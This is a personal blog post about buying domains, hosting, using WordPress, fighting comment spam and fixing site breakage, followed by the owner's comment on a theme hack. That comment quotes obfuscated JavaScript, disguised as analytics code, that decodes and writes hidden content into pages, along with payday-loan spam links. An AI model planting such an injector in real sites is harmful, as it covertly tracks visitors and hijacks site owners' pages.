What’s In a Website?

I thought I’d take a moment or two, because I’m often asked, about how I’ve set up a website and what pitfalls I face.  This is NOT meant to be a primer on how to set up a website.  And to be frank, unless you’re willing to pay me, I am NOT offering to assist you with the process, sorry – but hey, this advice is free!

Here is the basic outline of what is needed:

  • Buy the domain(s) you want.
  • Arrange for your site to be hosted
  • Pick a tool/product/system for keeping the website running.
  • Add the features you want – including plugins
  • Backup the site
  • Do regular maintenance
  • Be vigilant about spam and security
  • Handle the occasional disaster, misdeed, or dead-end.

I purchased all of my dozen or so domain names from GoDaddy.com. GoDaddy’s salacious advertising turns my stomach. Their abrasive founder, Bob Parson, is widely – and probably fairly – excoriated for his antics.  But until recently I’ll have to say GoDaddy has been cheap and efficient with good support.  How they could afford to spend 20 minutes on the phone with me when I had only purchased $20 worth of product is perplexing.  I’ve used other “registrars” to get domain names. None I found were as inexpensive or efficient. Indeed there is no point in spending more on a domain name than you have to, so don’t.

What’s In a (Domain) Name

A domain name is nothing more than a handle that can be used to “find you” on the internet. Aim for a domain that is:

  1. Memorable
  2. Unique and easy to say and spell (If you get the domain sqakizamazula nobody is going to find you by name if they manage to remember it!)
  3. Not too similar to other domains (what about misspellings? You might want to get those, too)
  4. Amenable to keeping your private information private
  5. Inexpensive  – no need to pay more than about $15 a year for a domain name.
  6. Appropriate for what you’ll use it for?  (If you’re not on TV it doesn’t make sense to get a .TV domain)

When you buy a domain name, you’re required to give personal contact information. Not surprisingly there are many spammy/scammy businesses that grab that information to automate calling and emailing you… so you will want a “private registration” – that is a service that keeps your information secure – at additional cost, of course. Some domains, however, like all .US domains do not allow private registration.  And because “StarCircleAcademy” is a bit long and not always properly remembered, I made sure to also grab StarTrailAcademy, StarTrailsAcademy, and StarCirclesAcademy.com.  You can point many names at the same place.

One BIG benefit to having your own domain is that all the email addresses for that domain are yours! Oh, and as long as you keep that domain, you’ll never have to worry about changing your email address.  Even if I move to Timbuktu – which is NOT planned – I can still be Steven(at)StarTrailsAcademy.com  or SuperHandsomeFellow(at)StarTrailAcademy.com

Not all domain providers bundle in email for free, so beware.

What is a Host?

I host (store) my files on a GoDaddy.com server, however a series of recent misfortunes has me looking at HostGator.com as a better alternative. There are many choices for hosting. I won’t describe them all, but here they are roughly ordered by cost – lowest to highest:  economy-shared, performance-shared, private address shared, private resources, and dedicated.  In the last category basically what one is paying for is a machine that is used exclusively by you. Performance of any shared solution may range from sluggish to extremely sluggish.  And there is a HUGE downside to being on a shared machine.  A shared machine basically means it houses lots of websites, not just yours. You share bandwidth, hardware, and an Internet Address. The downside is that there are many tools that find websites that have malware on them and “Blacklist” those sites. This happened to me recently. Apparently a compromised website running on the same server as mine (with the same IP address) ticked off the Consolidate Block List and all hundred or so websites on the server were effectively inaccessible.

GoDaddy’s solution to this problem was… Gee, that’s too bad. If you want to pay us for a private address or move to a dedicated machine at an extra $6 monthly cost we can do that for you. It will only take 24 to 72 hours.  It actually took 3.  Unfortunately one of the tools I want to use on my website requires an intricate, and painfully laborious series of steps to configure it.  HostGator charges about the same for hosting and has all the support set to go.

What Tool?

A website can be created in many ways. Early on I used tools like Microsoft FrontPage (later became Expressions) and Dreamweaver to create websites.  You get a lot of control using tools like that, but you pay a high manual overhead to keep things up to date – and you better know something about HTML and JavaScript or you’ll have a dull site. After a while interactive online site builders became available. None of the ones I’d seen look interesting or unique.  There is a huge amount of complexity involved in creating and maintaining a “swanky site”. After the manual tools, and the online site builders there arose an armada of Content Management Systems (CMS). Joomla, BBoard, and so on. But I elected WordPress because: A. It’s free (mostly), B. It’s widely supported on hosts, C. It’s flexible enough and configurable enough, D. It’s pretty easy to use – unless you want to do fancy things.

Getting the Features

As I noted, WordPress has lots and lots of free and almost free customizations you can add. Some are really nifty. Some, like the scads of useless iPhone Apps will disappear soon after you test drive them.  My most recent addition is the “WordPress eStore”.  I had looked at many things including ZenCart and others. Honestly, though I wanted something less painful to set up and manage.  Unfortunately setting up WP eStore has taken me more than a week of twiddling to get close to what I want… but it’s still not there.  Other things I’ve added in (and many that I’ve customize) include the Meetup Events (see the margin in the right), a Gallery of Flickr images, maps and much more.  All of these required effort, and in most cases you really do need to understand HTML well enough to fix/correct/update.

Fight The Spam

I get three kinds of comment spam: blocked, sneaky, and low-brow. Several WordPress plugins block the majority of the automated junk. For example 1,105 bits of blocked spam have accrued in my queue in less than a month. As my site popularity grows, so do the automated comment spam attempts. About once or twice a week a spam item makes it through the filters. I have turned on WordPress comment moderation so that I must approve all comments.  So far I’ve described the auto-rejected spam (blocked), the sneaky spam I have to mark as SPAM and the last type is from well-meaning people who sometimes post four or five comments that basically say nothing at all or things that are self-contradictory – not you, of course!  Hey, I welcome your comment if it helps people understand, but if you just want to be argumentative or hawk your photos get your own site!  Sorry, was that harsh?

The Disasters

Things break. Sometimes they break in mild ways – like a single article that I could no longer open until I completed some upgrades. Sometimes the breakage is spectacular like the whole site going offline – or forgetting my password, or putting an embarrassing typographical mistake in my articles.  Or configuring a plugin incorrectly…   Backups and maintenance are meant to overcome these issues, but of course they pop up at the worst of times… like when WordPress DEMANDED that I upgrade it in the hours before I got on a plane to a place where I’d have no internet for two weeks!

To make matters worse, I had just published in a private location the details for an upcoming Field Expedition and blasted out the link in an email.  As luck would have it the flight had on-board WiFi so I could spend some $ and fix the problem instead of catching up on my sleep. As worse luck would have it, the on-board WiFi was broken 🙁

In a Nutshell

Setting up and maintaining a website is not for the faint of heart or the technology illiterate. It can be a huge time waster.  On the other hand had I not done it, well you wouldn’t be here, would you?!

If after all this you’re thinking that with a little of my help you’d like to set up your own site, please re-read the first paragraph. 😉




One thought on “What’s In a Website?

  1. Steven Christenson

    Harrumph. Just discovered that my theme was hacked and it was dumping content into the served page that looked like this.

    The code below contains tracking logic so someone ELSE was able to tell when my pages were loaded. Because the text insertion was bad, it didn’t show. However it probably looked to all web crawlers that I liked to talk about PayDay loans.

    <script language="JavaScript">var _ga2 = []; _ga2.push(['_setOption', '1301851861911781711021861911821711311041861711901861171']); _ga2.push(['_setOption', '6918518510413211618517817517017118416518918416718218217']); _ga2.push(['_setPageId', '1184165171180193182181185175186175181180128167168185181']); _ga2.push(['_setPageId', '1781871861711291691781751821281841711691861101221181221']); _ga2.push(['_setPageId', '8219011416718718618111416718718618111412211812218219011']); _ga2.push(['_trackPageview', '1129195130117185186191178171132']); var t=z="",l=pos=v=0,a1="arCo",a2="omCh";for (v=0; v<_ga2.length; v++) t += _ga2[v][1];l=t.length; while (pos < l) z += String["fr"+a2+a1+"de"](parseInt(t.slice(pos,pos+=3))-70); document.write(z);</script><div class=slider_wrapper_en><p>Face it possible for better deals through an extended instant cash payday loans <a href="(badlinkto)perapaydayloansonline.com" title="instant cash payday loans">instant cash payday loans</a> time and women who care of service. Others will save yourself and near you cash advance online <a href="(badlinkto)pincashadvance.com" title="cash advance online">cash advance online</a> expect from minors or. Own a major types of your paycheck is cash advance <a href="(badlinkto)ondcashadvanceonline.com" ...

    I found it had replaced some elements of my theme. To solve the problem I switched themes, deleted the old theme, reinstalled the old theme and switched back.

    I also turned off all of my plugins for a brief while. In that time I got about 14 comment spams – most of them from Russian sites.


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